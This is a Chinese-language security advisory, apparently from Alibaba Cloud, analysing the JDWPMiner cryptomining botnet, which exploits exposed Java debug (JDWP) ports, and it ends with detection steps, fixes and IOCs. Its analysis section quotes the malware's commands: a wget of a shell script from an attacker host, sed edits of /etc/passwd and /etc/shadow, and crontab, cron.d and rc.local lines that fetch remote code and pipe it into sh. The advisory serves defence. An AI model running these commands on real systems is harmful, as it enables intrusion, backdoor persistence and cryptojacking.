Java开发远程调试易埋隐患。阿里云安全监测到一种利用JDWP RCE漏洞进行挖矿的恶意攻击,对用户资产危害极大,近期传播有所上升,提醒广大用户注意防护。
概述
JDWP(Java Debug Wire Protocol Transport Interface)广泛使用于Java应用程序开发调试阶段,而Java又广泛用于开发电商、办公应用、CMS等日常息息相关的平台,如果软件发布中未将远程调试关闭,将留下重大隐患,而JDWPMiner正是利用这一特性进行入侵牟利。
阿里云安全专家分析发现,该僵尸网络利用Java Debug RCE漏洞进行入侵,通过从恶意下载源下载挖矿二进制文件实现挖矿、通过crontab进行持久化、将密钥写入authorized_keys而获取远程访问权限,通过这些方式执行反弹Shell,最终全权控制主机,对用户资产危害极大。
传播手段
JDWPMiner通过JDWP RCE漏洞进行入侵和传播,利用Shell脚本下载挖矿木马并执行,通过crontab、cron.d、rc.local进行持久化,依据系统环境执行Python、Perl、Bash进行反弹Shell到指定IP,从而完成整个入侵过程。
初始访问 | 执行 | 持久化 | 发现 | 影响 |
---|---|---|---|---|
利用对外开放的JDWP服务进行入侵 | 命令和脚本解释器(下载Bash脚本) | 计划任务或作业 | 文件和目录发现 | 挖矿会导致系统CPU负载加大,大量消耗主要业务资源,可能导致核心业务终止,从而影响企业服务 |
无 | 计划任务或作业(crontab、cron.d、rc.local) | 无 | 无 | 反弹Shell后黑客拥有主机控制权,下载、删除文件或横向入侵等会导致数据泄露、勒索或其他不可预知后果 |
协议分析
JDWP协议是用于调试器(Debugger)和被调试器Java虚拟机(Target JVM)之间的通信协议。在JDPA体系中,作为前端的调试者和后端的被调试程序进程之间的交互数据的格式是由JDWP来描述的,协议详细完整地定义了请求命令、回应数据和错误代码,保证了前后端JVMTI和JDI的通信,通过该协议Debugger可以获取到VM中包括类、对象和线程等信息。
JDWP是基于TCP的二进制报文的网络协议,通过命令包(command packet)和回复包(reply packet)进行通信。其中Flags字段用于表明是命令包还是回复包,Command Set定义了Command类别。
CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000"
也可通过命令行方式直接开启。java -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000 -jar demo.jar
由于JDWP协议不带有认证信息,对于一个开启了调试端口的Java应用,任何人都可以利用JDWP进行调试,这给开发、运维带来了极大的风险,JDWPMiner正是利用该特性进行入侵获利。
入侵分析
dt_shment本机调试和dt_socket远程调试可以导致JDWP端口开放至公网,JDWPMiner通过利用JDWP RCE漏洞进行入侵,在其父进程调用wget。执行命令wget http://m247.ltd:36663/.seashells/shell.sh
,运行shell.sh包含了四种方式进行反弹Shell,分别是Python、Perl、nc、Bash,其C2地址为位于卢森堡的192.251.XX.XX,Shell执行后其主机将完全沦陷受到JDWPMiner的管控。
sed -i 's/^eth0:.*//' /etc/passwd 2>/dev/null;
sed -i 's/^eth0:.*//' /etc/shadow 2>/dev/null;
sed -i 's/^eth1:.*//' /etc/passwd 2>/dev/null;
sed -i 's/^eth1:.*//' /etc/shadow 2>/dev/null;
sed -i 's/^sudev:.*//' /etc/passwd 2>/dev/null;
sed -i 's/^sudev:.*//' /etc/shadow 2>/dev/null;
sed -i 's/^system:.*//' /etc/passwd 2>/dev/null;
sed -i 's/^system:.*//' /etc/shadow 2>/dev/null;
然后添加公钥到/root/.ssh/authorized_keys,再通过crontab、Cron.d或通过判断不同系统版本使用rc.local进行持久化。
# Add To crontab
grep m247 /var/spool/cron/root || echo "0 * * * * wget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1" >> /var/spool/cron/root
grep m247 /var/spool/cron/crontabs/root || echo "0 * * * * wget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1" >> /var/spool/cron/crontabs/root
grep m247 /etc/crontab || echo "0 * * * * root wget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1" >> /etc/crontab
grep m247 /etc/cron.d/0hourly || echo "0 * * * * root wget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1" >> /etc/cron.d/0hourly
通过Cron.d进行持久化:# Add to Cron.d
echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/cron.hourly/0;chmod +x /etc/cron.hourly/0;chattr +i /etc/cron.hourly/0;
echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/cron.daily/0;chmod +x /etc/cron.daily/0;chattr +i /etc/cron.daily/0;
echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/cron.weekly/0;chmod +x /etc/cron.weekly/0;chattr +i /etc/cron.weekly/0;
echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/cron.monthly/0;chmod 777 /etc/cron.monthly/0;chattr +i /etc/cron.monthly/0;
通过判断不同系统版本使用rc.local进行持久化:if [[ -e /etc/debian_version ]]; then
RCLOCAL='/etc/rc.local';
echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.etc/rc -O- 2>/dev/null|sh>/dev/null 2>&1' > $RCLOCAL; chmod +x $RCLOCAL;
elif [[ -e /etc/centos-release || -e /etc/redhat-release ]]; then
RCLOCAL='/etc/rc.d/rc.local'
echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.etc/rc -O- 2>/dev/null|sh>/dev/null 2>&1' > $RCLOCAL; chmod +x $RCLOCAL;
chmod +x $RCLOCAL;
else
echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.etc/rc -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/rc.local;chmod +x /etc/rc.local;
fi
curl -s http://m247.ltd:36663/.xmrig/miner.php || wget --quiet http://m247.ltd:36663/.xmrig/miner.php -O /dev/null
安全建议
本地验证:执行ps -ef | grep jdwp | grep -v 'grep'
命令,如果返回结果则说明打开了Debug端口。
远程验证:telnet端口后,执行{ echo "JDWP-Handshake"; sleep 20 } | telnet remote_host remote_port
命令,如果返回JDWP-Handshare则证明存在漏洞。
修复方案:在catalina.sh或者setenv.sh文件中,将含有transport=dt_socket的那行内容注释。如果使用Docker,在dockerfile文件中将ENV JPDA_ENABLE=1修改为ENV JPDA_ENABLE=0。
安全建议:关闭JDWP端口或不对公网开放,如需调试请在预发环境进行,完成调试后关闭Debug模式。
IOC
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFjxDDMcytBQ+57s//0Fah9YVEosmvKMQXspMBi2G6qyF/v0nIE0OH9NhPkG02c8B+7ickaSJU97+UqPRw53mDbOJyT1BKWNbGPMAsLA/wz45O5wUhf/VFQhTpsKBai86N0uO3hjAPybE7fT/RarD45Ip4FUG1ttSw/Au6t1oLenRSAPegsS5b5vrn7OsGdA1kk8Jdk2FkdHBjIAHJtZsVsNLnE08WoAKQV65YWL6J5mnKjkt6bsViMeGAdjCbfgKNDdAnAqPfDHv3p+xIB8GnYwK8bVk4N9r/p4YgiNO+uURIWH0XMPJkvkyX4xco7w8XkyhXzKzRlvz8doXj4SMZ root@Glock
- 198.251.84.152
- m247.ltd
- http://m247.ltd:36663/..lolthats/sad.php
- http://m247.ltd:36663/.xmrig/miner.php
- http://m247.ltd:36663/.xmrig/0
- http://m247.ltd:36663/.etc/rc
- http://m247.ltd:36663/..lolthats/0
- http://m247.ltd/..etc/rc
- http://m247.ltd:36663/.seashells/shell.sh
- http://m247.ltd:36663/..etc/rc
- http://m247.ltd:36663/.xmrig/teardrop.sh